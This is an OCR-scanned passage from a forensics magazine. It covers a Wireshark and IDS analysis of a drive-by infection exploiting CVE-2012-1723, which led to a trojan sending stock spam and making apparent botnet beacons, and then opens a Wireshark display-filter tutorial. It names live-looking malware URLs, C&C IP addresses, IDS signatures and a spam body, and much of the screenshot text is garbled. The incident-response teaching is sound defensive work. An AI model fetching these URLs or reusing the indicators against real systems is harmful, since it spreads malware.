ET POLICY Possible Spambot Host OM S b Ouery High Count (Potentially Bad Traffic)

ET OM% Standard query response, Mame BEmor (Mot Suspicious Tratfic)

ET USER_AGEMTS Intemet Edplorer 6 in use - Significant Securty Risk (Potential Corporate Privacy “dolation)
ET IMFO EXE Download With Cortent Type Specified A= Bmpty (A Metwork Trojan was Detected)

ET POLICY PE EXE or DLL Windows file download (Potertial Corporate Privacy “dolation])

ET POLICY Jawa JAR file download (Mot Suspicious Traffic)

ET TROJAN “WhiProtect Packed Binary Inbound wiag HTTP - Likely Hostile (& Metwork Trojan was Detected)

ET POLICY Outdated Windows Flash “wersion |E (Potential Corporate Privacy Molation)

ET TROJAN Stormaiialedac 2.0 Checkin 1 (& Network Trojan was Detected)

ET POLICY “ilnerable Jawa “ersion 1.6.x Detected (Potentially Bad Traffic)

ET POLICY Outbound hdattiple Mon- SWTP Server Emails (hvisc activity)

ET POLICY Jawa JAR Download Atempt (Potentially Bad Traffic)

ET POLICY Binary Download Smaller than 1 WiB Likely Hostile (Potential Corporate Privacy holation’

ETPRO TROJAM Common Downloader Header Pattern UHCa (Potentially Bad Tratfic)

conracl

Figure 41. Suricata IDS alerts

We can see the next interesting events from both, Suricata and Snort alerts.

ET POLICY Java JAR Download Attempt (Potentially Bad Traffic)

ET POLICY Vulnerable Java Version 1.6.x Detected (Potentially Bad Traffic)

EXPLOIT-KIT Redkit exploit kit java exploit request (A Network Trojan was Detected)

ET INFO EXE Download With Content Type Specified As Empty (A Network Trojan was Detected)
EXPLOIT-KIT Redkit exploit kit obfuscated portable executable (A Network Trojan was Detected)

ET CURRENT EVENTS W32/Zbot.Variant Fake MSIE 6.0 UA (A Network Trojan was Detected)

ET POLICY Possible Spambot Host DNS MX Query High Count (Potentially Bad Traffic)

ET SMTP Abuseat.org Block Message (Not Suspicious Traffic)

ET CURRENT EVENTS Suspicious double HTTP Header possible botnet CnC (A Network Trojan was Detected)
ET SCAN Unusually Fast 400 Error Messages (Bad Request), Possible Web Application Scan (Attempted
Information Leak)

It's totally necessary to review all the information with Wireshark, but in order to not extend this article
too much we are going to trust Virustotal. At this moment, we can say that our host in our network has
been searching on Google news about the Boston Marathon bombs and it visited a website (http:/heath-
awkheaters.com/vz1.jar) where there was an exploit which takes advantage of the CVE-2012-1723 vul-
nerability. Just the host was exploited, a Trojan horse was downloaded from another website and maybe
installed on the host (http.//kolasoeg.ru/newbos3.exe). This type of attack is knows as Drive by Down-
load Attack. (http://en.wikipedia.org/wiki/Drive-by _download).
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Remember we have just seen some IDS events talking about Spam and a possible Botnet Command
and Control connections. We are going to inspect these events with Wireshark in the next part of the article.

Remember we saw the events below on the IDS alerts:

ET POLICY Possible Spambot Host DNS MX Query High Count (Potentially Bad Traffic)
ET SMTP Abuseat.org Block Message (Not Suspicious Traffic)

INSPECT THE PCAP FILE WITH WIRESHARK

In this section we are going to inspect the pcap file searching connections that Virustotal didn’t provide
information. First of all, we need to load the pcap file on Wireshark. Then, if we use a SMTP filter, we can
see several SMTP connections.

File Edit Wiew Go Capture Analvze Statistics Telephony Tools  Internals  Help

co4md BEXE A¢»0TF2 B Qqan @08k @

A1 ICUN Bas

Filter: smtp | Expression... Clear v Save

Mo, Tirne Source Destination Protocol  Length  Info

| 2026 74.667091065.55.37.88 192.168.78.132 SMTE 297 5: 220 COLO-MC2-F7.Zol0. hotm
3335 78.7807350173.104.67.26 192,168, 78.132 SMTP 106 5: 220 mx.google.com ESMTR h
3342 7B.B123200 68.87.26.147 192.168.758.132 SMTE 214 5: 554 imta29.westchester.pa
3344 7B.BL5723068.87.26.147 192.168. 78.132 SMTP 214 5: 554 imtals.westchester.pa
3347 7B.8210580173.194.67.26 192.168. 78.132 SMTP 105 S: 220 mx.google.com ESMTP j:
3348 78.83204701%2.168.78.132 173.194.67.26 SMTPR 115 ©: HELO 128. red- N . -
3368 TB,BO71l650173.15%4.67. 26 192.168.78.132 SMTP 89 5: 250 mx.google.com at your
3381 78.89046201%2,.168.758.132 173.194,.67.26 SMTP 115 <: HELe 128, red- - -
3421 78.9257600173.194.67.26 192.168.78.132 SMTP 89 5: 250 mx.google.com at your
3432 78.5412440152.168. 78, 173.194.67.26 SMTP 79 C: MAIL FROM:<edp@mail.kzs
3468 78.9764060173.194.67. 192.168. 78.132 SMTPR 55 5: 250 2.1.0 oK hiZsi3348010
3476 7B.9852210 08,1346, 214, 192.168, 78,132 SMTP 117 =: 220 mtall3z.mail.ggl.yaho
3479 7E.9870240 98,136, 216, L1168, 78,132 SMTP 117 5: 220 mtall36.mail.ggl. yaho
3484 78.9094238066.1596.118. AHLER SMTP 117 5: 220 mtalos3.mail.bfl. yaho
3500 1598, 203. .132 SMTR 82 5: 554 maill. cor‘pma'l'lsvcs cal

132 [TCP Retransmission] S: 250

Figure 42. SMTP filter in order to search mail delivering

It's seems impossible that a simple user can send so many emails in such a small period of time. May-
be the computer is sending Spam without user knowing about what’s happening.

Some SMTP servers respond to the sender that they are denying the connections with their email serv-
ers because the sender is delivering SPAM or the sender is included in a blacklist for the same reason.

We can see if some SMTP refused the emails with this command:

“smtp contains spam”

smkp conkains spam ~ | Expression... Clear Save

Time Source Destination “ Protocol  Length  Info
527 BL.6564170 192.168 -132 smiP 298 51 220 SNTO-MC3-F26. 50T

hotmail. com 5end1n unsolicited comm

220 COLO-MC2-F20.Co10. hotmail. com

550 IP “ 1n zen. spamks

8:??6700J i 88 92
.G230230 64.136.44. 3‘}‘ 1‘32.

298 5:
-3.43 S:

: Aéc_ecs' Dendod |

351525250 64.1326. 44.37" 119,

=t 550 P—in Mnsmmhau"org

022 84.4160570 67.210.98.220 102.168.78.132 SMTP 240 S 550 "JunkMail rejected -

109 84, 7734010 206.186.198. 64 192.168.78.132 sSMTP 280 3: 554 5.7.1 The message from (<freddy.dardenneg@stroudengines
482 88 0141370 65.54.188.72 102.168.78.132 SMTP 208 5: 220 BAYO-MC1-F33. Bayo hotmaﬂ com Send'mg unsolicited comm
3 «Ul430 3.3 2 192.198.78.132 SMIF Z [ ecransmission] s: 220 ¥ - F33,Bayu. hot

492 89.022404065.55.92.136 192.168.78.132 SMTP 297 5 2"0 SNTO-MC1 |'8 Snto hotm.n'l com _.cnd'mg un_.o'hc‘ltnd comme
681 90.B986480 65. 54.188.126 192.168.78.132 SMTP 298 5@ 220 BAY0-MC4-F36.Bay0. hotmail. com Senchng unsolicited comm
676 90, 9951450 65, 54.188.126 192.168.78.132 SMTP 2598 5: 220 BAY0-MC4-F1l4.Bay(. hojeem————

812 01.028680064.136.52.37 102.168.78.132 swmTP 142 =: 550 1 N ) con. spamhaus org ¥ Mcess Den‘led
935 93.0651000 206.1588. 1958.64 192.168.78.132 sMIP 268 5: 334 5.7.1 the message fr

Figure 43. SMTP connections denied

If we see the payload of some connections, we can see that Microsoft is rejecting these emails be-
cause they have the knowledge that these mails are Spam.

« =
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computer network is prohibited. other restrictions are found at http:/ privacy.microsoft. com/en-us  anti-spam.mspx.

‘osoft's computer network s prohibited. other restrictions are found at http:/ privacy.microsoft.comsen-us anti-spa

Figure 44. Payload with details of connections refused

We saw next Snort Event “ET SMTP Abuseat.org Block Message (Not Suspicious Traffic)” This event
means some SMTP servers have rejected the email because the sender IP is blacklisted. Also, the pay-
load contains a link that redirects us to http://cbl.abuseat.org and it will give us more information about
the problem. We can use a similar filter in order to search these events in the capture data file on Wire-
shark with the command below:

“smtp contains Abuseat”

Filter: | smitp contains abuseat | Expression... Clear ly Save
Ma. Time Saurce Destination Protocal  'Length  'Info
9138 84.9599670 66. 80. 60, 20 192.168.758.132 SMTP 236 5: 591 mpatel@megapathds].net your host [

[, 236 bytes captured (1888 bits) on interface o

|56:ed:59:1el, Dst: vmware_e0:7l:ch (00:0C:i29:e0:71:ch)

0,20 (66.80.60.20), Dst: 192.168.78.132 (192.168.78.132)

|smtp €253, Dst Port: facilitywiew (15610, Seq: 223, ack: 142, Len: 182

lur host [_128]'1’5 b'Iac_k'I"lsted by chl.abuseat.org. B'Iuc_ked - see http: cb'l.abuseat.urg_/'luukw.cq‘i?‘id

Figure 45. Connection details from abuseat.org

We are going to continue looking for more SMPT packets to get more information, but it seems clear
that the goal of the attack is to send Spam and it was successful.

Now, we want to know the body of the Spam which has been sent.

One of the best options of Wireshark is the “Follow TCP” option. It is very helpful to see the payload
with TCP stream in the way that the application layer sees it. With this option we can see the body of the
Spam that our network user is delivering.

You can use this option by right clicking on a line selecting “Follow TCP Stream”.

SMTP 163 5: 220 mtald.srv.hovlny. cv. i Tarkpa:keietttufgle? E
SMTP 93 C: MAIL FROM:<jenkins@maily  9or=re ongle)
SMTR 214 S: 554 imta23.westchester.p L) Set Time Reference (togale)
121 S: 220 mta1012 rog ma'|'| bFL| © Time Shift.., 5
C 1 Packet Comment. .. E
Manually Resolve Address
Apply as Filker 4 1
Prepare a Filker 4 i
E— — S —— Conversation Filker L
ytes captured (712 bits) on interface 0 e i
d:59:1e), Dst: Vinware_e0:7l:ch (00:0C:29¢
26 (173.194.67.2670, Dst: 152.168.78.132
(257, Dst Port: peport (14497, Seq: 52,

Copy »
umber
ence numberl] Protocal Preferences 4
number GE Decode As...
=, Print...

Show Packet in Mew window

Figure 46. Follow TCP Stream option
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And then, we can see the body of the Spam. Let’'s have a look at the following pictures.

S - = ey

Stream Content

DATA : S b
354 Go ahcad jlsi7l07240wiv.66 - gsmtp

received: Crom unknown (HELO w7rredl) (N 155] )

-y 128, red- S . costomer . static. cogn. [ vith FSMTR; Thu, 18 apr
2013 10:28:22 10100

Messdye-ID: <002701ce3C0l$ad4 801308944642 18hanz0785663balwrrrol>
From: "Lucy Yates" <jenkins@maill.stotanet.dk>

To: <jmlee325@gmail. com=

subject: new sub Penny Alert Coming Soon

Date: Thu, 18 Apr 2013 10:30:12 +0100

MIME-varsion: 1.0

Content-Type: text/plain;

. format =1 owed;

.charset-"is0-8850-2";

.reply-type=original

Content-Transter-gncoding: 7bit

M-Priority: 3

®-M3Mail-Priority: Normal

®-Mailer: Microsoft outlook Express 6.00.Z800.11086

x~MimedLE: Produced By Microsoft MimeoLE 6. 00.2800.1106

welcome announcement for P_w_E I watchers. suy thousands of P_w_k L
stock offered at the morning, since it's still bargained. Then see the
pps spike to 55 cents - or maybe hit a 1! Prepare to make a fortune on
P_w_E L starting rhursday, apr 18.

250 2.0.0 OK 1366274113 (1s17107240wiv.66 — gsmip
AlTT
221 2.0.0 closing connection jlsi7l07240wiv.66 — gsmtp

Entire conwversation (1392 bytes) e

Eind Save dis Brint O asc () EBCDIC () Hex Dump O € Arrays @) Raw
[ J( | J

Help Fiker Ouk This Stream ] [ Close

Figure 47. TCP Stream details

fwelcome announcement for P_w_E I watchers. Buy thousands of P_W_E I
[stock offered at the morning, since it's still bargained. Then see the
|pps spike to 55 cents - or maybe hit a 1! Prepare to make a fortune on
[P_Ww_E I starting Thursday, apr 15.

Figure 48. Body of the mail delivered

As you can see, this option is really interesting. Also, we have a suspicion that our computer is included
as node in a Botnet. Remember we saw the event below in the IDS alerts:

ET CURRENT EVENTS Suspicious double HTTP Header possible botnet CnC (A Network Trojan was Detected)
At the bottom of the traffic capture we can see a lot of requests like that: “GET /PXFAHN”

Filter: !http “ | Expression... Clear Save
4o, Time Source Destination Protocol  'Length  'Info . .
G251 B5.96636040 102,168, F8.132 90,156.201L.11 HTTP 227 GET /PRFAHM HTTP/1.1
G254 B5.9671490 1592 168, F8.132 90.156.201.11 HTTP 227 GET /PXFAHM HTTP/1.1
GAEZ Bo. 0427940 102,168, FE.132 50.62.238.103 HTTP 227 GET /PxFAHM HTTP/1.1
G283 B6.0429770 192 1658, F7E.132 50.62.238.103 HTTP 227 GET /PHFAHM HTTP/1.1
G284 Bo. 04309701592 . 168, F8.132 50.02.238.105 HTTP 227 GET /PXFAHM HTTP/1.1
G2E5 Bo.0432050102.168. F8.132 50.62.238.103 HTTP 227 GET /PRFAHM HTTP/1.1
G287 Bo. 0433130192 168, F8.132 50.602.238.103 HTTP 227 GET /PXFAHM HTTP/1.1
G347 Bo.97271201592.168. 78,132 186, 2,166,559 HTTF 227 GET /PXFAHM HTTP/1.1
G340 B6.9730470 102, 168, 78.132 186.2.166. 55 HTTP 227 GET /PXFAHM HTTP/1.1
G351 Bo.97331401592. 1608, 78.132 1860, 2.16060. 55 HTTF 227 GET /PXFAHM HTTP/1.1
G354 Bo.9736370102.168. 78,132 186,2.166.509 HTTF 227 GET /PRFAHM HTTP/1.1
GYH4 91, 7206790192, 168, FE.132 50.62.238.103 HTTP 227 GET /PHFAHM HTTP/1.1
G780 91, 7225880 1592.168. F8.132 50.02.238.105 HTTP 227 GET /PxFAHM HTTP/1.1
G7Y8E 91, 7244730102, 168, F8.132 50.62.238.103 HTTP 227 GET /PXFAHM HTTP/1.1
GY90 91, 7207210192 . 168, FE.132 50.602.238.105 HTTP 227 GET /PXFAHM HTTP/1.1
100597 9F. 40152201502, 168. 78,132 50.62.238.103 HTTP 227 GET /PXFAHM HTTP/1.1
10098 97.4016850 192,168, 78,132 50.62.238.103 HTTP 227 GET /PHFAHM HTTP/1.1
100595 97, 4018040 102,108, 78,132 50,.602.238.103 HTTP 227 GET /PxFAHM HTTP/1.1
10100 97, 4015140 1592,168. 78,132 50,62, 238,103 HTTP 227 GET /PHFAHM HTTP/1.1

Figure 49. Connections suspicious to some possible C&C servers



It seems that the host infected currently is a “Zombie” in a Botnet. The computer is connecting to sev-
eral web servers using the IP addresses instead of the domain name and always to the same URL path
(PXFHN). In the traffic capture we can’t detect anything about the payload of the Command and Control
connections... The nodes of the Command and Control servers could be down.

Stream Content

GFT /PXFAHN HTTR/1.1

user-agent: Mozillas5.0 (Windows; U; windows NT 5.1; es-CS; rv:l.9.2.17) Gecko/20110420
Firefox/3.6.17

Aecept: Wk

accept -Encoding: gzip, deflate

IGET /PXFAHN HTTP/1.1

User-Agent: Mozillas5.0 (windows; U; windows NT 5.1; es5-CS; rv:il.2.2.17) Gecko /20110420
[Firefox/3.6.17

|hccept 2 W fu

|accept -Encoding: gzip, deflate

IGFT /PXFAHN HTTE/1.1

|user-Agent: Mozilla/s5.0 (windows; U; windows NT 5.1; es-E5; rv:1.9.2.17) Gecko/20110420
[Firefox/3.6.17

|Accapt s w/u

laccept-Encoding: gzip, deflate

GFT /PXFAHN HTTR/1.1

|user-agent: Mozilla/s5.0 (windows; U; windows NT 5.1; es-E5; rv:1.9.2.17) Gecko/20110420
Firefox/3.6.17

|hccapt s W /w

accept-Encoding: gzip, deflate

__En_tire tmva(_sfa!inn (892 b:ftas) Ev
[ end ][ saeas ][ piw JOasco O EBCDIC ) Hex Dump O - Arrays @ Raw
Help 1 Filber Ot This Stream ] | Close

Figure 50. Follow TCP stream details about possible C&C server connection

HOW TO CREATE A MAP REPORTS WITH WIRESHARK
Sometimes, it’s really interesting to know how to create a report drawing the connections in an incident han-
dling on a map. Wireshark offers us this option. Now, I’'m going to show you how to configure this option.

» First of all you need to download the GeolP databases: GeolLite City, Country, and ASNum from the
lik below: http://geolite.maxmind.com/download/geoip/database/ (free download)

* You need to put all of the databases in the same directory. You must tell Wireshark where the data-
bases are. You need to go to Edit -> Preferences -> Name Resolution and select GeolP database
directories.

i GeolP Database Paths - Profile: Default > — —

path

C\Users\sclemens\Downloads

o ] o [

— e e A O aaa>>7>7>7"——"—"—=4l

Figure 51. GeolP Databae Paths

* Restart Wireshark.

* Load the pcap file again and select Statistics —> Endpoint and click on Map. In this example, | want
to show you where the spam has been sent printing the connections on a map. You notice in the pic-
ture below that I've created a SMTP filter and | have selected “Limit to display filter.”

www.eForensicsMag.com @ @


http://geolite.maxmind.com/download/geoip/database/

///// 0 eForensics

IM a g a zin e

I'ﬂn':|5mkn

2924 Endpoints: captura.pcap
333

|Ethermt:2| Rb :-:l IPva: ¥l | §5C | ICP:263H Toke g
3344 el
3347 1Fed Endpoints - Fiter: mbp
334 Address 4 Pockets 4 Dytes 4 TxPackets 4 TxDytes 4 R Packets 4 R Dybes 1 Country 4 /AT Mumber 4 City
EEL LU 4 aarrs k- 541 1= 4 M6 United Statec LsHI Mcrosoft Corp Redr
3381 192.168.76.132 1880 Z7&412 616 126743 1264 149 669 - = . i
3421 173.194.67.26 i0& 15332 0 6903 36 8429 United Stabes A515169 Google Inc, Mour
3433 66.57.26.147 20 4 260 20 % Z60 o 0 United States A5792Z2 Comcast Cable Communications, Inc, =
346 08.136.216.25 47 6786 0 2610 17 4 146 United Stabes AS36647 Yahoo Sunr
2474 | BRIYRIIRE 4y hHIA k74 Yy ird 17 4 11M Linuterd Srares A57R101 Yahnnt iinr
347 190.200.174.9 1 oz 1 o o 0 United Stabes A510079 Unkedheakhcars Phym
3484 167.206.4.79 8 966 1 &73 3 293 United States 55123 Cablevision Systems Corp. Hicks
350 96.139.214.154 16 Z 30 10 31 ] 1410 Uniled Slabes AFZH101 Talwu! Sunn
£5.55.92.168 51 8704 3 4 504 18 4 200 United Stabes 58075 Microsoft Corp Redr
351 R5.54. |RR. 176 43 F 944 B 5545 15 101 Unirerd Srabes LSANTS Mirensnft Com Redr ma
351 64.236.64.226 1 1210 W 911 & 299 Unibed Skabes AS1668 AOL Transk Data Networks
/L1598 137178 u 112y & ] 3 S United States A510/94 Bank of amenca Lone
= 209.06.92.229 (] 10110 = 0124 24 2506 United Stabes AS519023 News Cdge Mebworks e ==
= Fram 209.121.247.105 16 2103 10 &78 & 1 425 United Statec AS209 NOVARTIS-DMZ-LS EkR Y
® Ethg i | ¥
= Tnte =
val [ Mame resobition Limil. L dlisplay filler
Hel I
mod [ we  J[ cor ][ me ] gose
T

Identitication: OUATGD7 (030039

Figure 52. Details to create map

* Then click on the map button. Now, we can see on the map the connections with the SMTP servers
by the Trojan when it was sending SPAM.

Figure 53. Map with the SMTP connections to send SPAM

SUMMARY
In my opinion it’s really important to have a good network capture policy in an organization. In this article,
we have seen two real examples about how to make a network forensics analysis.

We have seen the real case which happened some months ago. We have seen how the hackers have
uploaded a malicious javascript to www.php.net which tried to detect the vistor’'s Adobe and Flash Play-
er version in order to figure out if there are vulnerable. Depending on which plugin was vulnerable, the
hackers used an exploit or another one in order to download five Trojans. We have seen the well-known
ZeroAccess which is one of the most commonly spread trojen and is focused on click-fraud to make
money. It is thought that it has infected more than 2 million computers.
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In the case of the malware related with marathon bombs, we have seen how a single user of our net-
work was searching and watching videos about the Boston Marathon bombs. In one of these searches
the user visited a dangerous website which took an advantage of a vulnerability of its computer with
CVE-2012-1723 using the exploit vz1.jar. Thanks to this exploit, a Trojan horse named newbos3.exe was
downloaded and installed with the lack of user knowledge. We have seen that the Trojan horse began
to send Spam and the public IP of the organization was included in a blacklist. The company could have
problems with their corporate email servers if the server shares the public IP with the rest of the comput-
ers in the network. If this happens, the emails sent by the workers in the company would be denied by
the Anti Spam systems.

Also, we have serious suspicion that the computer was a node of a Botnet but not having clear evi-
dence, we cannot be sure about that.

Thanks to a good data capture we can learn a lot about an incident.
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WIRESHARK FILTERS

FORNETWORK
ANALYSIS

by Amandeep Kaur, CISC, CPH, CPFA

Network Analysis is the process of listening to and analyzing
network traffic. It offers an insight into network communication
to identify performance problems, analyze application behavior,
locate security breaches, and perform capacity planning.

IT professionals use these processes to validate network
performance and security.

What you WSSl W ireshark is the world’s most popular network analyzer. It is a free

« Capti kets at th i- . .
aplure packets &t fhe aperopr open source tool, which also runs on a variety of platforms. It runs

ate location. K . . iy

+ Apply filters to focus on the traffic with a graphical user interface (GUI). Initially there would be no data
of interest. displayed in various windows of Wireshark.

* Review and identify the anomalies

in the traffic.

What you should know:

* A solid understanding of TCP/IP

The World's Most Popular Network Protocol Analyzer

- Capture Online
communication.
* Use of Wireshark. Interface List Open r Website
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Figure 1. Wireshark Graphical User Interface
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Capture Area: The capture area contains interface list link which is used to choose the interface for
the traffic capture and finally start option can be used to start the packet capturing.

File Area: The file area consists of three sections: Open, the open recent list, and a link to sample
captures.

Online Area: The online area contains link to the main wireshark website.

Capture Help Area: The capture help area contains the links of two locations for the “How to Cap-
ture Page”.

The start page of the Wireshark shows four sections:

The Wireshark interface has five major components:

The Command menus are located at the top of the window as standard dropdown menus. The File
menu provides the option to save captured packets or open a file, which contains previously cap-
tured packet data. To start the capturing packets, capture menu is used.

The Packet-listing window displays all the captured packets with one line summary of each pack-
et. The Wireshark assigns the packet numbers to each packet. It also displays the time of the pack-
et capturing, source and destination address of the packet, type of the protocol, and protocol specif-
ic information contained in the packet.

The Packet-header details window provides detail of the packet selected in the packet-listing win-
dow. It includes the information about the IP datagram and Ethernet frame that contains this pack-
et. The TCP or UDP detail will be displayed if the packet is carried over TCP or UDP. Finally, details
about the highest-level protocol that sent or received this packet are also provided.

The Packet-content window displays the entire contents of the captured frame, in both ASCII and
hexadecimal format.

The Packet display filter field is used to filter the information displayed in the packet-listing window
by entering the protocol name or any other display filter.
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Figure 2. Components of Wireshark interface
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USE COLORS TO DIFFERENTIATE TRAFFICTYPES
To locate and highlight the packets of interest, colors can be a very effective tool. Colored packets can
be used to indicate error conditions, evidence of a network scan or a breached host.

The Global configuration Directory of wireshark contains a default coloring rules file, which contains
predefined coloring rules.

By default, Wireshark uses green to indicate TCP traffic, dark blue to indicate DNS ftraffic, light blue
indicates UDP traffic, and the black indicates the TCP packets with a problem. Any HTTP response that
contains a numerical code between 400 and 499 indicates a client error.

HTTP responses between 500 and 599 indicates server errors.
There are 10 temporary coloring options for conversation. Right click on a packet in the packet list pane

and select colorization conversation. Choose the conversation protocol to temporarily color a specific
conversation as shown in the Figure 2:

test.pcap - Wireshark
Ela Edt Wiew Go Caprura  Analyze Statistics  Help

B o aee 2@ xsalReasoF s EBE QA

(7] ger: | ~ deEpresion.. Yucks W fopy

Mo, - Time Source: Destination Frotocal | Info
L.
4 1.025659 192,168.0.2 1gmp.meast, net IGMP V1 Membership Report

9 1.082038 192.168.0.2 192.168.0. 255 HENS Registration NB NELO0G61D<00%
U “KE 192, 1b5.0.2 He.lbd. . i standard gquery A g <y COFTT o Wil A0

170130 192.168.0.1 192.168.0.2 TCP 1025 5 3000 [SYN) Seq=0 Len=0 WSS ,
< >
IdentiTication: O=I847 (8215] -
W Flags: O=00

Fragment offset: O

Time to Tive: 128

Protocol @ UDP (Owil)

Header checksum: Oxald? [correct]

Source: 192.168.0.2 (192.16E.0.2)
Destination: 192.168.0.1 (192.168.0.1) w

POCD OO 0% 5b 2d 75 3a 00 Ob 5d 20 cod G2 08 0D 45 OO B T N
P010 00 4% 18 &7 00 00 80 11 a1l 09 ol a3 0D 02 D ad cLaGean s weaiaan
o020 OO0 01 Ob d2 00 35 00 35 46 69 O0 21 01 O0 O0 01 ..... 5.5 Fiulaaus
D030 OO0 OO O OO OO0 00 0% 7O 72 &f 78 79 63 &f Ge 64 weeawaap roxyconf
o040 05 77 77 30 30 34 OF F3 69 65 6d 65 fe 73 O3 de DDd. 5 1EmEns.n
POs0 65 74 OO0 00 01 00 01 et..... w

|IFile: "D ftest peap” 14 KB 00:00:02 [P 1200: 120 M: 0

Figure 3. Colored Conversation

Note: The coloring rule remains in effect the next time when you open the file, but it will not be in effect
if you restart wireshark.

TO MARK PACKETS

You can mark packets by right clicking on the packet and selecting the Mark Packet (Toggle). Unmark
the packet by using the same step. There are different keyboard shortcuts to mark packets and move
between marked packets.

Ctrl+M — Mark Packet (toggle)
Shift+Ctrl+N — Find the next marked packet
Shift+Ctrl+B — Find the previous marked packet

TO DISABLE ONE OR MORE COLORING RULES

The Wireshark uses a default set of coloring rules to colorize the traffic. The default coloring rules can
be turned off by using the colorize packet list button on the main toolbar or select view- colorize packet
list to toggle this setting off.
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To disable a single coloring rule, click on the coloring rule and click the disable button. The coloring rule
is not deleted, it is just disabled. To delete the coloring rule select the rule and click the delete button.

DISPLAY FILTERS

The display filter is used to search inside captured data obtained with a capture filter. If you are trying to
inspect something specific, Wireshark filters can be used to narrow down the search, you will likely to
have a large amount of packets to inspect through, that’'s where Wireshark filters are used. Its search ca-
pabilities are more extended than those of the capture filter and it's not necessary to restart the capture
when you need to change the filter protocols.

A large number of protocols located between layer 2 seven of the OSI model is available. They can be
seen when you click on the expression button in the mail screen.

The most basic way to apply a filter is by typing it into the filter box at the top of the window of the Wire-
shark and click apply. For example if you want to see only the DNS traffic, type DNS and you will only

see the DNS packets.

Fll NVIDIA nForce MCP Networl

Eile Edit View Go ;apture Analyze Statistics Telephony Tools [nternals Help
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Filter:  dns
Ma.

Source
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n
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4 |

& User Datagram Protocol, Src Fort:

0000 a8 39 44 d8 a3 88 00 16
0010 00 3e 23 85 00 00 80 11
0020 08 08 e3 38 00 35 00 2a
0030 00 00 00 00 00 00 03 77
0040 64 69 Ge 03 63 6f 6d 00

@ | File: "C:\Users\Chris\AppData\Local Temph...

17 74 B2
45 25 coO
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77 77 08
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# Internet Protocol Version 4, Src: 192.168.1.77 (192.168.1.77), Dst: 8.8.8.8

58168 (58168), Dst Port: domain (53)

¥

Length =

|
m|

Figure 4. DNS traffic filter

Wireshark also helps in autocomplete the filters.

Wireshark implements a range of filters that facilitate the definition of search criteria and currently sup-
ports over 1100 protocols. The filtering capabilities of wireshark are very comprehensive. You can filter

on just about any field of any protocol, even down to the HEX values in a data stream.

SOURCE IP FILTER

Source IP filter can be used to restrict the packet view only to the packets which have source IP address

mentioned in the filter.

ip.src==100.0.0.1

www.eForensicsMag.com
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DESTINATION IP FILTER
Destination IP filter can be used to restrict the packet view only to the packets which have destination IP
mentioned in the filter.

ip.dst==10.0.0.1

FILTER BY PROTOCOL
It is used to filter the results for the protocol. To apply a filter for the particular protocol, just need to type
the name of the protocol and press enter.

HTTP or DNS (Sets a filter to display all the HTTP and DNS)

USING OR CONDITION IN FILTER
This filter helps filtering the packets that match either one of the conditions:

http| |arp

APPLYING AND CONDITION IN FILTER
This filter helps filtering the packets that match all the conditions in the filter.

Ip.addr==100.0.0.1 && ip.addr==100.0.0.2 (sets a conversation filter between the two defined IP addresses.

FILTER BY THE PORT NUMBER
This can be done by using the filter ‘tcp.port eq[port-no]’ for example

tcp.port eq 80

Tcp.port==4000 (sets a filter for any TCP packet with 4000 as a source or destination port)

MATCH PACKETS CONTAINING PARTICULAR SEQUENCE
It will display all the TCP packets that contains the particular sequence. For example:

TCP CONTAINS TRAFFIC
It will display all TCP packets that contains the word “traffic’. TCP contains is very useful when looking
for a specific string or user id.

SOME OTHER FILTERS

Ip.addr==100.0.0.1 (this filter will only allow the packets with the IP 100.0.0.1 from source or
destination)

Tcp.flags.reset==1(displays all TCP resets)

http.request (displays all HTTP GET requests)

Comparison Operators

Six comparison operators are available

English format c like format meaning
Eq == equal

Ne 1= not equal

Gt > greater than

Lt < less than

Ge >= greater or equal

Le <= less or equal

Logical Expressions

English Format c like format meaning
And && Logical AND

Or || logical OR

XOR an Logical XOR

Not ! logical NOT



We can take an example, suppose we have a machine, which was compromised, and we need to iden-
tify the entry vector and type of malware involved. To start the process, we need to use a network traffic
capture obtained during the time of the window in which the particular incident has occurred. We need to
open it with Wireshark and we can use the export object tool to identify what software has been down-
loaded after isolating the IP addresses involved.

4 Open... cmmk§é| LeESDTF 3 ||ZI|G|
: Open Recent 3 ]
Merge... ¥  Expression... Clear
¥ Cose Ctrl+W
7 I Source | Destination
& Cirl + 172.16.201.128 172.16.201.2
- Shift+Ctr+S 172.16.201.2 172.16.201.1
172.16.201.128 202.190.85.4
File Set ’ 202.190. 85. 44 172.16.201.1
1T 18 N - e 202'190‘ 85'4
FiE > i 202.190.85.4
: Selected Packet Bytes. .. Ctri+H 172.16.201.1
= Print... Ctrl+P Objects b ‘i
& Quit crl+Q 202.190. 85.44 Do T
TT TT TR 2072 1an RS 44 172 1/ 2011

Figure 5. Export Objects

All the HTTP requests will be shown in a window, which are detected during the traffic capture.It will
also show the name of the objects that has been downloaded.

7 Wireshark: HTTP object kst =18 =l
Pad:etru.m}-lnsmm I-CmtentT‘me ]B-ptes ]Fimame ]

a blog.honeynet.arg.my  texthiml 428 farensic_chalenge

12 blog.honeynet.org.my  text/html 3798 forensic_chalenge

blog.honeynet.org.my  applicationfpdf 25169 fomxploit.pdf

51 blog.honeynet.org.my  text/himl 82 fawcon.ico

52 blog.honeynet.org.my  text/himl g2 faviconico

59 biog.honeynet.org.my  text/himl 410  the_real_malvware.exe

&0 blog.honeynet.org.my  text/himl 410 the_real_malware.exe

66 blog.honeynet.org.my  text/himl 382  favicon.ioo

a7 blog. honeynet.org.my  text/himl 382 favicon.ico

Figure 6. List of the objects

To analyze any file from the list which seems suspicious can be downloaded or download all the files by
clicking on ‘save all’. If any of the file seems malicious, don’t open or execute it. You can analyze it with
your antivirus system or analyze it online or can be analyzed using the virus tool.
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VI RU s Virustotal is a service that analyzes suspicious
files and URLs and facilitates the quick detection
of viruses, worms, trojans, and all kinds of malware
TOTAL detected by antivirus engines. More information....
0 VT Community user(s) with a total of [l repuitatinn credi(s) Ray(z) thiz zample & geodware 0 VT Community VT Community
user(s) win a total ot 0 reputation credt(s) Sayis) this Sample 5 malware.
File name: feexploit.pdf Q
Submission date: 2010 12 00 22:30:29 (UTC)
Current status: finished not reviewed
Result 20 143 (46.5%) Safily s -
B Compact Print resuts &
Anlivirus Version Last Updale Resull
AhnLab-V3 2010.12.09.00 2010.12.08 -
AntiVir 7.10.14.244 2010.12.08 -
Antiy-AVL 2.0.3.7 2010.12.09 -
Avast 4.8.1351.0 2010.12.09
Avaats 5.0.677.0 2010.12.09 D E-2
VG 9.0.0.851 2010.12.08 -
Bltletender 742 2010.12.09  Exploit.Il £
CAT-QuickHeal 11.00 2010.12.09 -
ClamhV 0.96.4.0 2010.12.09 -
Command 5.2.11.5 2010.12.08 -
Comodo 7004 2010.12.09
Dricb 6.0.2.03300 2010.12.05
